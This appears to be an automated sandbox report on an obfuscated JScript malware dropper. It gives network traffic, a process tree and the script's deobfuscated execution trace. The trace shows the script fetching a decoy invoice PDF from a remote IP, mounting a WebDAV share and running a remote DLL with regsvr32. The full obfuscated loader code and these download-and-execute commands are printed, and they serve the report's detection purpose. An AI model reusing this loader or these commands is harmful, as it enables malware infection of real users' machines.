02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:00:28.587999105 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:00:28.588011026 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:00:28.588099003 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:00:28.588109970 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:00:28.588239908 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:00:28.588252068 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:00:28.588263035 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 02:00:28.588274956 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 02:00:28.588288069 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 02:00:28.593214035 CET	108	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6520	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:00:30.042396069 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:00:30.884833097 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:00:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:00:22
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js"
Imagebase:	0x7ff660390000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:00:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll
Imagebase:	0x7ff7f6900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:00:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:00:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:00:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:00:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f6900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:00:28
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7363c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:00:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:00:30
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:00:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,16611410969298503030,8490314191894734687,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bppls() {	bppls() ➔ undefined
1	lzbowxcpf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pvftjoil = this[ujecywfli + qyhgeym + zpbixvm + ucfox + aflcqyud + gsgnwgzav + fehmex + aqydnggm] ( this[ncdjvxhpl + vegyyt + ikibnke + zpbixvm + ziotrn + ujecywfli + aqydnggm][abrpyivhb + zpbixvm + aflcqyud + qyhgeym + aqydnggm + aflcqyud + zsgkfxa + vcrqybv + obhlisw + aflcqyud + ikibnke + aqydnggm] ( ncdjvxhpl + vegyyt + ikibnke + zpbixvm + ziotrn + ujecywfli + aqydnggm + dmoybfur + vegyyt + mqowf + aflcqyud + ivtqe + ivtqe ) [ttzvjlsgd + aflcqyud + xohkqhs + ttzvjlsgd + aflcqyud + qyhgeym + kufpzey] ( bpikcew + nvdtd + nzhupdi + wnshiv + rffaqkqob + abrpyivhb + ctunl + ttzvjlsgd + ttzvjlsgd + nzhupdi + etcmraa + fgguoqag + rffaqkqob + ctunl + vegyyt + nzhupdi + ttzvjlsgd + dzakx + abrpyivhb + tsbwwafg + fehmex + aqydnggm + zpbixvm + tsbwwafg + ivtqe + ngsfkso + lngupkbqe + qyhgeym + fehmex + aflcqyud + ivtqe + dzakx + gsgnwgzav + fehmex + aqydnggm + aflcqyud + zpbixvm + fehmex + qyhgeym + aqydnggm + ziotrn + tsbwwafg + fehmex + qyhgeym + ivtqe + dzakx + zbwhds + tsbwwafg + ikibnke + qyhgeym + ivtqe + aflcqyud ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bqrfywy = 0 ; bqrfywy < lzbowxcpf[ivtqe + aflcqyud + fehmex + xohkqhs + aqydnggm + mqowf] ; ++ bqrfywy )
4	{
5	if ( pvftjoil == lzbowxcpf[bqrfywy] )
6	{
7	pvftjoil = true;
8	break ;
9	}
10	}
11	if ( pvftjoil !== true )
12	this[ncdjvxhpl + vegyyt + ikibnke + zpbixvm + ziotrn + ujecywfli + aqydnggm][trfhoc + cbcpls + ziotrn + aqydnggm] ( );
13	this[ncdjvxhpl + vegyyt + ikibnke + zpbixvm + ziotrn + ujecywfli + aqydnggm][abrpyivhb + zpbixvm + aflcqyud + qyhgeym + aqydnggm + aflcqyud + zsgkfxa + vcrqybv + obhlisw + aflcqyud + ikibnke + aqydnggm] ( ncdjvxhpl + vegyyt + ikibnke + zpbixvm + ziotrn + ujecywfli + aqydnggm + dmoybfur + vegyyt + mqowf + aflcqyud + ivtqe + ivtqe ) [zpbixvm + cbcpls + fehmex] ( ikibnke + ffeaqoc + kufpzey + ngsfkso + acsdx + ikibnke + ngsfkso + ujecywfli + tsbwwafg + lhnyvjm + aflcqyud + zpbixvm + ucfox + mqowf + aflcqyud + ivtqe + ivtqe + dmoybfur + aflcqyud + irasmkes + aflcqyud + ngsfkso + liydb + abrpyivhb + tsbwwafg + ffeaqoc + ffeaqoc + qyhgeym + fehmex + kufpzey + ngsfkso + akaqv + gsgnwgzav + fehmex + fvibhyuql + tsbwwafg + zybkj + aflcqyud + liydb + ncdjvxhpl + aflcqyud + vcrqybv + ttzvjlsgd + aflcqyud + gksydmy + cbcpls + aflcqyud + ucfox + aqydnggm + ngsfkso + liydb + zsgkfxa + cbcpls + aqydnggm + mrweskos + ziotrn + ivtqe + aflcqyud + ngsfkso + bqdrq + aqydnggm + aflcqyud + ffeaqoc + ujecywfli + bqdrq + dzakx + ziotrn + fehmex + fvibhyuql + tsbwwafg + ziotrn + ikibnke + aflcqyud + dmoybfur + ujecywfli + kufpzey + vyywbq + ngsfkso + mqowf + aqydnggm + aqydnggm + ujecywfli + lrykqmu + acsdx + acsdx + xegnu + zwjkc + kgizmm + dmoybfur + xegnu + julued + kgizmm + dmoybfur + xegnu + dmoybfur + bwgtl + xykffq + unnldz + acsdx + ziotrn + fehmex + fvibhyuql + tsbwwafg + ziotrn + ikibnke + aflcqyud + dmoybfur + ujecywfli + mqowf + ujecywfli + akaqv + xydmgcsh + xydmgcsh + ucfox + aqydnggm + qyhgeym + zpbixvm + aqydnggm + ngsfkso + bqdrq + aqydnggm + aflcqyud + ffeaqoc + ujecywfli + bqdrq + dzakx + ziotrn + fehmex + fvibhyuql + tsbwwafg + ziotrn + ikibnke + aflcqyud + dmoybfur + ujecywfli + kufpzey + vyywbq + xydmgcsh + xydmgcsh + ikibnke + ffeaqoc + kufpzey + ngsfkso + acsdx + ikibnke + ngsfkso + fehmex + aflcqyud + aqydnggm + ngsfkso + cbcpls + ucfox + aflcqyud + ngsfkso + dzakx + dzakx + xegnu + zwjkc + kgizmm + dmoybfur + xegnu + julued + kgizmm + dmoybfur + xegnu + dmoybfur + bwgtl + xykffq + unnldz + crirr + bokkkm + bokkkm + bokkkm + bokkkm + dzakx + kufpzey + qyhgeym + fvibhyuql + lhnyvjm + lhnyvjm + lhnyvjm + zpbixvm + tsbwwafg + tsbwwafg + aqydnggm + dzakx + xydmgcsh + xydmgcsh + ikibnke + ffeaqoc + kufpzey + ngsfkso + acsdx + ikibnke + ngsfkso + zpbixvm + aflcqyud + xohkqhs + ucfox + fvibhyuql + zpbixvm + kgizmm + bwgtl + ngsfkso + acsdx + ucfox + ngsfkso + dzakx + dzakx + xegnu + zwjkc + kgizmm + dmoybfur + xegnu + julued + kgizmm + dmoybfur + xegnu + dmoybfur + bwgtl + xykffq + unnldz + crirr + bokkkm + bokkkm + bokkkm + bokkkm + dzakx + kufpzey + qyhgeym + fvibhyuql + lhnyvjm + lhnyvjm + lhnyvjm + zpbixvm + tsbwwafg + tsbwwafg + aqydnggm + dzakx + xegnu + oaeqlfpvl + julued + waclpsk + zwjkc + xegnu + bwgtl + unnldz + bwgtl + zwjkc + xegnu + waclpsk + kgizmm + oaeqlfpvl + oaeqlfpvl + dmoybfur + kufpzey + ivtqe + ivtqe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll",0,false) ➔ 0
14	}
15	bqdrq = "j";
16	bqdrq = "X";
17	bqdrq = "Q";
18	bqdrq = "S";
19	bqdrq = "e";
20	bqdrq = "j";
21	bqdrq = "m";
22	bqdrq = "S";
23	bqdrq = "F";
24	bqdrq = "P";
25	bqdrq = "M";
26	bqdrq = "x";
27	bqdrq = "N";
28	bqdrq = "T";
29	bqdrq = "R";
30	bqdrq = "%";
31	zwjkc = "h";
32	zwjkc = "c";
33	zwjkc = "y";
34	zwjkc = "m";
35	zwjkc = "r";
36	zwjkc = "s";
37	zwjkc = "c";
38	zwjkc = "O";
39	zwjkc = "9";
40	mqowf = "q";
41	mqowf = "P";
42	mqowf = "M";
43	mqowf = "C";
44	mqowf = "Y";
45	mqowf = "E";
46	mqowf = "D";
47	mqowf = "D";
48	mqowf = "s";
49	mqowf = "h";
50	ziotrn = "T";
51	ziotrn = "n";
52	ziotrn = "G";
53	ziotrn = "A";
54	ziotrn = "S";
55	ziotrn = "E";
56	ziotrn = "r";
57	ziotrn = "g";
58	ziotrn = "d";
59	ziotrn = "v";
60	ziotrn = "R";
61	ziotrn = "z";
62	ziotrn = "W";
63	ziotrn = "k";
64	ziotrn = "m";
65	ziotrn = "x";
66	ziotrn = "t";
67	ziotrn = "i";
68	aflcqyud = "e";
69	bpikcew = "u";
70	bpikcew = "G";
71	bpikcew = "M";
72	bpikcew = "A";
73	bpikcew = "P";
74	bpikcew = "l";
75	bpikcew = "a";
76	bpikcew = "g";
77	bpikcew = "r";
78	bpikcew = "z";
79	bpikcew = "S";
80	bpikcew = "q";
81	bpikcew = "n";
82	bpikcew = "a";
83	bpikcew = "P";
84	bpikcew = "w";
85	bpikcew = "z";
86	bpikcew = "X";
87	bpikcew = "Q";
88	bpikcew = "I";
89	bpikcew = "c";
90	bpikcew = "J";
91	bpikcew = "x";
92	bpikcew = "l";
93	bpikcew = "J";
94	bpikcew = "W";
95	bpikcew = "L";
96	bpikcew = "z";
97	bpikcew = "o";
98	bpikcew = "H";
99	qyhgeym = "B";
100	qyhgeym = "q";
101	qyhgeym = "t";
102	qyhgeym = "w";
103	qyhgeym = "R";
104	qyhgeym = "l";
105	qyhgeym = "h";
106	qyhgeym = "M";
107	qyhgeym = "a";
108	xohkqhs = "n";
109	xohkqhs = "E";
110	xohkqhs = "n";
111	xohkqhs = "R";
112	xohkqhs = "A";
113	xohkqhs = "M";
114	xohkqhs = "B";
115	xohkqhs = "v";
116	xohkqhs = "I";
117	xohkqhs = "F";
118	xohkqhs = "G";
119	xohkqhs = "p";
120	xohkqhs = "c";
121	xohkqhs = "R";
122	xohkqhs = "P";
123	xohkqhs = "R";
124	xohkqhs = "g";
125	xohkqhs = "g";
126	abrpyivhb = "w";
127	abrpyivhb = "S";
128	abrpyivhb = "w";
129	abrpyivhb = "p";
130	abrpyivhb = "G";
131	abrpyivhb = "G";
132	abrpyivhb = "a";
133	abrpyivhb = "m";
134	abrpyivhb = "r";
135	abrpyivhb = "q";
136	abrpyivhb = "q";
137	abrpyivhb = "g";
138	abrpyivhb = "X";
139	abrpyivhb = "O";
140	abrpyivhb = "z";
141	abrpyivhb = "H";
142	abrpyivhb = "I";
143	abrpyivhb = "y";
144	abrpyivhb = "d";
145	abrpyivhb = "u";
146	abrpyivhb = "E";
147	abrpyivhb = "M";
148	abrpyivhb = "b";
149	abrpyivhb = "E";
150	abrpyivhb = "p";
151	abrpyivhb = "B";
152	abrpyivhb = "J";
153	abrpyivhb = "C";
154	lngupkbqe = "S";
155	lngupkbqe = "a";
156	lngupkbqe = "g";
157	lngupkbqe = "E";
158	lngupkbqe = "U";
159	lngupkbqe = "N";
160	lngupkbqe = "X";
161	lngupkbqe = "S";
162	lngupkbqe = "E";
163	lngupkbqe = "O";
164	lngupkbqe = "f";
165	lngupkbqe = "r";
166	lngupkbqe = "o";
167	lngupkbqe = "Q";
168	lngupkbqe = "V";
169	lngupkbqe = "M";
170	lngupkbqe = "K";
171	lngupkbqe = "V";
172	lngupkbqe = "D";
173	lngupkbqe = "a";
174	lngupkbqe = "M";
175	lngupkbqe = "Y";
176	lngupkbqe = "i";
177	lngupkbqe = "L";
178	lngupkbqe = "c";
179	lngupkbqe = "Q";
180	lngupkbqe = "L";
181	lngupkbqe = "T";
182	lngupkbqe = "B";
183	lngupkbqe = "E";
184	lngupkbqe = "h";
185	lngupkbqe = "h";
186	lngupkbqe = "P";
187	etcmraa = "N";
188	acsdx = "l";
189	acsdx = "U";
190	acsdx = "Z";
191	acsdx = "n";
192	acsdx = "g";
193	acsdx = "l";
194	acsdx = "y";
195	acsdx = "k";
196	acsdx = "O";
197	acsdx = "J";
198	acsdx = "w";
199	acsdx = "A";
200	acsdx = "p";
201	acsdx = "r";
202	acsdx = "f";
203	acsdx = "d";
204	acsdx = "n";
205	acsdx = "A";
206	acsdx = "p";
207	acsdx = "v";
208	acsdx = "K";
209	acsdx = "J";
210	acsdx = "X";
211	acsdx = "w";
212	acsdx = "b";
213	acsdx = "Z";
214	acsdx = "M";
215	acsdx = "/";
216	ngsfkso = "v";
217	ngsfkso = "q";
218	ngsfkso = "e";
219	ngsfkso = "Y";
220	ngsfkso = "q";
221	ngsfkso = "N";
222	ngsfkso = "g";
223	ngsfkso = "y";
224	ngsfkso = "c";
225	ngsfkso = "Q";
226	ngsfkso = " ";
227	ujecywfli = "i";
228	ujecywfli = "d";
229	ujecywfli = "Z";
230	ujecywfli = "Y";
231	ujecywfli = "H";
232	ujecywfli = "U";
233	ujecywfli = "k";
234	ujecywfli = "s";
235	ujecywfli = "R";
236	ujecywfli = "E";
237	ujecywfli = "A";
238	ujecywfli = "u";
239	ujecywfli = "a";
240	ujecywfli = "z";
241	ujecywfli = "C";
242	ujecywfli = "t";
243	ujecywfli = "x";
244	ujecywfli = "K";
245	ujecywfli = "f";
246	ujecywfli = "G";
247	ujecywfli = "p";
248	unnldz = "o";
249	unnldz = "P";
250	unnldz = "y";
251	unnldz = "T";
252	unnldz = "Q";
253	unnldz = "J";
254	unnldz = "G";
255	unnldz = "m";
256	unnldz = "l";
257	unnldz = "W";
258	unnldz = "N";
259	unnldz = "f";
260	unnldz = "u";
261	unnldz = "G";
262	unnldz = "Q";
263	unnldz = "k";
264	unnldz = "h";
265	unnldz = "a";
266	unnldz = "m";
267	unnldz = "k";
268	unnldz = "f";
269	unnldz = "X";
270	unnldz = "A";
271	unnldz = "l";
272	unnldz = "z";
273	unnldz = "S";
274	unnldz = "x";
275	unnldz = "H";
276	unnldz = "X";
277	unnldz = "h";
278	unnldz = "z";
279	unnldz = "o";
280	unnldz = "u";
281	unnldz = "L";
282	unnldz = "r";
283	unnldz = "E";
284	unnldz = "u";
285	unnldz = "5";
286	kufpzey = "Q";
287	kufpzey = "E";
288	kufpzey = "E";
289	kufpzey = "n";
290	kufpzey = "b";
291	kufpzey = "u";
292	kufpzey = "G";
293	kufpzey = "o";
294	kufpzey = "O";
295	kufpzey = "C";
296	kufpzey = "U";
297	kufpzey = "I";
298	kufpzey = "t";
299	kufpzey = "h";
300	kufpzey = "u";
301	kufpzey = "H";
302	kufpzey = "d";
303	kgizmm = "P";
304	kgizmm = "W";
305	kgizmm = "z";
306	kgizmm = "a";
307	kgizmm = "u";
308	kgizmm = "w";
309	kgizmm = "C";
310	kgizmm = "k";
311	kgizmm = "Y";
312	kgizmm = "U";
313	kgizmm = "M";
314	kgizmm = "j";
315	kgizmm = "U";
316	kgizmm = "g";
317	kgizmm = "3";
318	ikibnke = "P";
319	ikibnke = "u";
320	ikibnke = "q";
321	ikibnke = "y";
322	ikibnke = "h";
323	ikibnke = "I";
324	ikibnke = "a";
325	ikibnke = "q";
326	ikibnke = "c";
327	ikibnke = "d";
328	ikibnke = "v";
329	ikibnke = "X";
330	ikibnke = "s";
331	ikibnke = "G";
332	ikibnke = "x";
333	ikibnke = "k";
334	ikibnke = "s";
335	ikibnke = "N";
336	ikibnke = "l";
337	ikibnke = "c";
338	trfhoc = "m";
339	trfhoc = "h";
340	trfhoc = "I";
341	trfhoc = "E";
342	trfhoc = "x";
343	trfhoc = "u";
344	trfhoc = "B";
345	trfhoc = "x";
346	trfhoc = "J";
347	trfhoc = "l";
348	trfhoc = "K";
349	trfhoc = "d";
350	trfhoc = "o";
351	trfhoc = "X";
352	trfhoc = "i";
353	trfhoc = "g";
354	trfhoc = "v";
355	trfhoc = "P";
356	trfhoc = "q";
357	trfhoc = "q";
358	trfhoc = "e";
359	trfhoc = "f";
360	trfhoc = "G";
361	trfhoc = "W";
362	trfhoc = "a";
363	trfhoc = "v";
364	trfhoc = "w";
365	trfhoc = "I";
366	trfhoc = "Z";
